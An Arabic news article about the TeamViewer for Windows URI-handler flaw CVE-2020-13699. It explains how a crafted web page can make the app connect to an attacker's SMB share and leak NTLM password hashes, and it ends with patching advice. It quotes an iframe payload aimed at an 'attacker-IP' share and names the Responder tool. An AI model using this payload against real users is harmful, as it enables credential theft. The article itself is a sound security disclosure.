قام برنامج TeamViewer الشهير للدعم عن بعد بتصحيح عيب شديد الخطورة في تطبيقه على نظام ويندوز. بحيث يمكن للمهاجمين عن بُعد غير المعتمدين باستغلال ثغرة البرنامج لتنفيذ التعليمات البرمجية وكسر كلمات المرور الخاصة بالضحايا.
برنامج TeamViewer هو تطبيق برمجي مملوك تستخدمه الشركات لوظائف التحكم عن بعد، ومشاركة أسطح البرامج على الحاسوب، والاجتماعات عبر الإنترنت، وعقد المؤتمرات عبر الويب، ونقل الملفات بين أجهزة الكمبيوتر. ينبع الخلل المكتشف مؤخرًا من تطبيق Desktop for Windows (CVE-2020-13699) الذي لا يقتبس بشكل صحيح معالجات معرف المورد الموحد المخصص (URI).
تحتاج التطبيقات إلى تحديد URI لمواقع الويب التي سيتعاملون معها. ولكن نظرا لأن تطبيقات المعالج يمكنها تلقي البيانات من مصادر غير موثوق بها، فقد تحتوي قيم URI التي تم تمريرها إلى التطبيق على بيانات ضارة تحاول استغلال هذا المنفذ. في هذه الحالة المحددة، لا يتم “اقتباس” القيم بواسطة التطبيق مما يعني أن برنامج TeamViewer سيعاملها كأوامر وليس كقيم إدخال.
يمكن للمهاجم تضمين إطار iframe ضارًا في موقع ويب باستخدام عنوان URL مُعد (<iframe src = ‘teamviewer10: –play \\ attacker-IP \ share \ fake.tvs’>) من شأنه تشغيل برنامج TeamViewer على الويندوز الخاص بالضحية وفرضه لفتح مشاركة SMB عن بُعد. وذلك وفق الاستشاري ومهندس الأمن في Praetorian جيفري هوفمان الذي كشف عن الخلل.
كيفية الهجوم على برنامج TeamViewer
لبدء الهجوم، يمكن للمهاجم ببساطة إقناع الضحية باستخدام برنامج TeamViewer مثبتًا على نظامه للنقر على عنوان URL المصمم في موقع ويب، وهي فرصة للمهاجمين لشن هجمات محتملة.
سيقوم URI بعد ذلك بخداع التطبيق لإنشاء اتصال مع بروتوكول Server Message Block (SMB) البعيد الذي يتحكم فيه المهاجم. SMB هو بروتوكول شبكة تستخدمه أجهزة الكمبيوتر المستندة إلى Windows والذي يسمح للأنظمة الموجودة في نفس الشبكة بمشاركة الملفات.
بعد أن يبدأ تطبيق TeamViewer للضحية مشاركة SMB عن بُعد، سيقوم نظام ويندوز بإجراء الاتصال باستخدام NT LAN Manager (NTLM). يستخدم NTLM بروتوكولًا مشفرًا لمصادقة المستخدم من دون نقل كلمة مرور المستخدم. تعتمد بيانات اعتماد NTLM على البيانات التي تم الحصول عليها أثناء عملية تسجيل الدخول التفاعلية وتتكون من اسم المجال واسم المستخدم وتجزئة أحادية الاتجاه لكلمة مرور المستخدم.
في سيناريو الهجوم هذا، يمكن للمهاجمين نقل طلب NTLM باستخدام أداة مثل Responder، وفقًا لهوفمان. بحيث تلتقط مجموعة أدوات المستجيب جلسات مصادقة SMB على شبكة داخلية، وتنقلها إلى الجهاز المستهدف. يمنح هذا في نهاية المطاف خطا مباشرا لوصول المهاجمين إلى جهاز الضحية تلقائيا. كما يسمح لهم بالتقاط تجزئة كلمات المرور، والتي يمكنهم بعد ذلك كسرها باستخدام القوة الغاشمة.
يصنف الخلل 8.8 من 10.0 على مقياس C-SS مما يجعله شديد الخطورة. تعد إصدارات TeamViewer السابقة للإصدار 15.8.3 ضعيفة، ومن الأفضل تثبيت التحديثات الموجودة بشكل سريع وعدم استخدام الإصدارات القديمة من البرنامج، بما في ذلك: teamviewer10 ، و teamviewer8 ، و teamviewerapi ، و tvchat1 ، و tvcontrol1 ، و tvfiletransfer1 ، و tvjoinv8 ، و tvpresent1 ، و tvsendfile1 ، و tvsqcustomer1 ، و tvsqsupport1.
وفي نصيحة أمنية بخصوص الخلل، أوصى مركز أمن الإنترنت (CIS) أن يقوم مستخدمو برنامج TeamViewer بتطبيق التصحيحات المناسبة. كما أوصوا بأن يتجنب المستخدمون مواقع الويب أو الروابط غير الموثوق بها التي توفرها مصادر غير معروفة، وتجنب الروابط الموجودة في رسائل البريد الإلكتروني أو المرفقات مجهولة المصدر.